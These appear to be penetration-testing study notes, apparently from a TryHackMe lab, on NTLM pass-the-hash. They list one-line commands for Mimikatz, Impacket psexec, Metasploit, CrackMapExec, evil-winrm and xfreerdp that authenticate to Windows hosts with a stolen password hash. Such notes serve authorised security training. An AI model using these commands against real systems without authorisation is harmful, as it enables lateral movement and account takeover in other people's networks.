NTLM

#cme #mimikatz #msf #evil-winrm #xfreerdp

Pass The Hash

• As NetNTLM is inherently flawed, the password hash can be treated as a password.

• NTLM hash can be used to directly authenticate to a domain/service

• Mimikatz for extracting Credentials

Mimikatz

sekurlsa::pth /user:user.name /domain:za.tryhackme.com /ntlm:<hash> /run:<command>

Impacket's PsExec.py

python psexec.py -hashes <hash> domain/username@<server/ip>

Metasploit PsExec module

exploit/windows/smb/psexec

Crackmapexec

crackmapexec smb <server/IP> -u username -H <hash>

evil-winrm

evil-winrm -i <server/IP> -u <username> -H <hash>

xfreerdp

xfreerdp /v:<server/IP> /u:<domain\username> /pth:<hash>